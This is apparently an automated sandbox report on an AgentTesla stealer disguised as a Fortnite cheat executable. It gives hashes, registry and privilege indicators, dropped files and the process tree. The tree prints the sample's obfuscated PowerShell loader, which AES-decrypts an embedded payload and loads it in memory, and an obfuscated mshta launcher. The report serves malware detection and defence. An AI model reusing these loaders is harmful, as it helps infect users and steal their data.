agenttesla | 5f9298f554a3b512e47c0348a55b7b9aa698e7bb467b082f28f8fac9ecaf193a

General

Target

DX9_Fortnite.vmp.exe
Size

21.9MB
MD5

cf28ae1e33e5bbe9cf060258896508b9
SHA1

cd309a4b4a7bdb72ea6e845be9ae067dfb37be1a
SHA256

5f9298f554a3b512e47c0348a55b7b9aa698e7bb467b082f28f8fac9ecaf193a
SHA512

59b53f7c4624682f6166e2f62820d5910a4f3175f5254e2210a9a70ce3f3203c232479e49eb42bdd7e4c8c21a8aec4f82369a439bbf0c02fce539f80f017a8aa
SSDEEP

393216:c4wAQLZRTjrvjOCYjeofCPLoEmI7mzO/tTKEAXVLenVTq9aWgp78P:c49QZ8CY7fCUEmIqzwAFanVTq9aVp78P

Score

10^/10

agenttesla keylogger spyware stealer trojan

Malware Config

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

AgentTesla payload 1 IoCs

Processes:

resource	yara_rule
behavioral2/memory/1512-9-0x0000024153930000-0x0000024153B44000-memory.dmp	family_agenttesla

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

DX9_Fortnite.vmp.exe$sxr-mshta.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-596315103-1488671723-776734015-1000\Control Panel\International\Geo\Nation	DX9_Fortnite.vmp.exe
Key value queried	\REGISTRY\USER\S-1-5-21-596315103-1488671723-776734015-1000\Control Panel\International\Geo\Nation	$sxr-mshta.exe

Executes dropped EXE 1 IoCs

Processes:

$sxr-mshta.exe

pid process

5008 $sxr-mshta.exe

pid	process
5008	$sxr-mshta.exe

Drops file in Windows directory 6 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	C:\Windows\$sxr-cmd.exe	powershell.exe
File created	C:\Windows\$sxr-powershell.exe	powershell.exe
File opened for modification	C:\Windows\$sxr-powershell.exe	powershell.exe
File created	C:\Windows\$sxr-mshta.exe	powershell.exe
File opened for modification	C:\Windows\$sxr-mshta.exe	powershell.exe
File created	C:\Windows\$sxr-cmd.exe	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

DX9_Fortnite.vmp.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	DX9_Fortnite.vmp.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	DX9_Fortnite.vmp.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemVersion	DX9_Fortnite.vmp.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exe

pid process

2788 powershell.exe
2788 powershell.exe
2788 powershell.exe
2788 powershell.exe
2788 powershell.exe

pid	process
2788	powershell.exe
2788	powershell.exe
2788	powershell.exe
2788	powershell.exe
2788	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

DX9_Fortnite.vmp.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	1512	DX9_Fortnite.vmp.exe
Token: SeDebugPrivilege	2788	powershell.exe
Token: SeDebugPrivilege	2788	powershell.exe
Token: SeDebugPrivilege	2788	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

DX9_Fortnite.vmp.execmd.exe

description	pid	process	target process
PID 1512 wrote to memory of 1816	1512	DX9_Fortnite.vmp.exe	cmd.exe
PID 1512 wrote to memory of 1816	1512	DX9_Fortnite.vmp.exe	cmd.exe
PID 1816 wrote to memory of 4320	1816	cmd.exe	cmd.exe
PID 1816 wrote to memory of 4320	1816	cmd.exe	cmd.exe
PID 1816 wrote to memory of 2788	1816	cmd.exe	powershell.exe
PID 1816 wrote to memory of 2788	1816	cmd.exe	powershell.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\DX9_Fortnite.vmp.exe
"C:\Users\Admin\AppData\Local\Temp\DX9_Fortnite.vmp.exe"
1⤵
- Checks computer location settings
- Enumerates system info in registry
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1512

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Uni.bat" "
2⤵
- Suspicious use of WriteProcessMemory
PID:1816

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ep bypass -noprofile -windowstyle hidden
3⤵
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2788

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo function rOpwK($bDUZR){ $ZSbAX=[System.Security.Cryptography.Aes]::Create(); $ZSbAX.Mode=[System.Security.Cryptography.CipherMode]::CBC; $ZSbAX.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $ZSbAX.Key=[System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))('43RCrbvighVSmqRqLTRrGlwspP4E4ZTUpAUSnpzL+ho='); $ZSbAX.IV=[System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))('XuQxWUp8cJ6TMP93x2hz7Q=='); $PTkwr=$ZSbAX.CreateDecryptor(); $return_var=$PTkwr.TransformFinalBlock($bDUZR, 0, $bDUZR.Length); $PTkwr.Dispose(); $ZSbAX.Dispose(); $return_var;}function doXyU($bDUZR){ $wnDke=New-Object System.IO.MemoryStream(,$bDUZR); $Fjgch=New-Object System.IO.MemoryStream; Invoke-Expression '$jWEeb #=# #N#e#w#-#O#b#j#e#c#t# #S#y#s#t#e#m#.#I#O#.#C#o#m#p#r#e#s#s#i#o#n#.#G#Z#i#p#S#t#r#e#a#m#(#$wnDke,# #[#I#O#.#C#o#m#p#r#e#s#s#i#o#n#.#C#o#m#p#r#e#s#s#i#o#n#M#o#d#e#]#:#:#D#e#c#o#m#p#r#e#s#s#)#;#'.Replace('#', ''); $jWEeb.CopyTo($Fjgch); $jWEeb.Dispose(); $wnDke.Dispose(); $Fjgch.Dispose(); $Fjgch.ToArray();}function okOoc($bDUZR,$WMjsd){ $DvAdI = @( '$dBIwi = [System.Reflection.Assembly]::("@L@o@a@d@".Replace("@", ""))([byte[]]$bDUZR);', '$pfdJC = $dBIwi.EntryPoint;', '$pfdJC.Invoke($null, $WMjsd);' ); foreach ($kyIDC in $DvAdI) { Invoke-Expression $kyIDC };}$UEuXH=[System.IO.File]::("@R@e@a@d@A@l@l@T@e@x@t@".Replace("@", ""))('C:\Users\Admin\AppData\Local\Temp\Uni.bat').Split([Environment]::NewLine);foreach ($HAUSH in $UEuXH) { if ($HAUSH.StartsWith('SEROXEN')) { $PXFKz=$HAUSH.Substring(7); break; }}$cogkk=doXyU (rOpwK ([Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))($PXFKz)));okOoc $cogkk (,[string[]] ('C:\Users\Admin\AppData\Local\Temp\Uni.bat')); "
3⤵
PID:4320

C:\Windows\$sxr-mshta.exe
C:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-UCtDgcpgOzytSZOZWIBW4312:HwcgzvIq=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"
1⤵
- Checks computer location settings
- Executes dropped EXE
PID:5008

C:\Windows\$sxr-cmd.exe
"C:\Windows\$sxr-cmd.exe" /c %$sxr-UCtDgcpgOzytSZOZWIBW4312:HwcgzvIq=%
2⤵
PID:4936

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Uni.bat

Filesize
12.0MB

MD5
863f69ca35a3d6ec9bc767ea3069ae94

SHA1
ba25bfe92c634441d9f73f2d11b7144a49b97e6b

SHA256
b01f076893b445120cdff5a60baae318077dd7d995d007d7beba3a6a1982b231

SHA512
f2883de03074cc00c56480cc01832536082cc5b1c60499f0a132ac9d38eea587c529ae591258837e919626e00171ebc40188acf8af760433ddf92470f111c6f5

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yzh4t2jq.1rh.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\$sxr-cmd.exe

Filesize
283KB

MD5
8a2122e8162dbef04694b9c3e0b6cdee

SHA1
f1efb0fddc156e4c61c5f78a54700e4e7984d55d

SHA256
b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450

SHA512
99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397

Download Submit
C:\Windows\$sxr-mshta.exe

Filesize
14KB

MD5
0b4340ed812dc82ce636c00fa5c9bef2

SHA1
51c97ebe601ef079b16bcd87af827b0be5283d96

SHA256
dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895

SHA512
d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045

Download Submit
C:\Windows\$sxr-mshta.exe

Filesize
14KB

MD5
0b4340ed812dc82ce636c00fa5c9bef2

SHA1
51c97ebe601ef079b16bcd87af827b0be5283d96

SHA256
dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895

SHA512
d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045

Download Submit
memory/1512-3-0x0000024138550000-0x0000024138560000-memory.dmp

Filesize
64KB

Download
memory/1512-9-0x0000024153930000-0x0000024153B44000-memory.dmp

Filesize
2.1MB

Download
memory/1512-5-0x0000024152B80000-0x000002415384A000-memory.dmp

Filesize
12.8MB

Download
memory/1512-4-0x0000024138510000-0x0000024138522000-memory.dmp

Filesize
72KB

Download
memory/1512-0-0x00007FF809D40000-0x00007FF80A801000-memory.dmp

Filesize
10.8MB

Download
memory/1512-2-0x0000024138490000-0x0000024138491000-memory.dmp

Filesize
4KB

Download
memory/1512-1-0x0000024135160000-0x000002413810E000-memory.dmp

Filesize
47.7MB

Download
memory/1512-36-0x00007FF809D40000-0x00007FF80A801000-memory.dmp

Filesize
10.8MB

Download
memory/2788-25-0x0000015672CB0000-0x0000015672D26000-memory.dmp

Filesize
472KB

Download
memory/2788-33-0x0000015672840000-0x0000015672892000-memory.dmp

Filesize
328KB

Download
memory/2788-26-0x000001567B050000-0x000001567B8E8000-memory.dmp

Filesize
8.6MB

Download
memory/2788-27-0x00007FF826CF0000-0x00007FF826DAE000-memory.dmp

Filesize
760KB

Download
memory/2788-28-0x00007FF827EF0000-0x00007FF8280E5000-memory.dmp

Filesize
2.0MB

Download
memory/2788-29-0x00007FF827EF0000-0x00007FF8280E5000-memory.dmp

Filesize
2.0MB

Download
memory/2788-30-0x00007FF827EF0000-0x00007FF8280E5000-memory.dmp

Filesize
2.0MB

Download
memory/2788-31-0x0000015672D30000-0x00000156737FA000-memory.dmp

Filesize
10.8MB

Download
memory/2788-32-0x0000015673800000-0x000001567389A000-memory.dmp

Filesize
616KB

Download
memory/2788-24-0x0000015672BE0000-0x0000015672C24000-memory.dmp

Filesize
272KB

Download
memory/2788-34-0x0000015672C30000-0x0000015672C88000-memory.dmp

Filesize
352KB

Download
memory/2788-35-0x00000156738A0000-0x00000156738CE000-memory.dmp

Filesize
184KB

Download
memory/2788-23-0x000001565A450000-0x000001565A460000-memory.dmp

Filesize
64KB

Download
memory/2788-44-0x000001565A430000-0x000001565A438000-memory.dmp

Filesize
32KB

Download
memory/2788-45-0x0000000180000000-0x0000000180009000-memory.dmp

Filesize
36KB

Download
memory/2788-22-0x000001565A450000-0x000001565A460000-memory.dmp

Filesize
64KB

Download
memory/2788-21-0x00007FF809D40000-0x00007FF80A801000-memory.dmp

Filesize
10.8MB

Download
memory/2788-20-0x00000156727C0000-0x00000156727E2000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads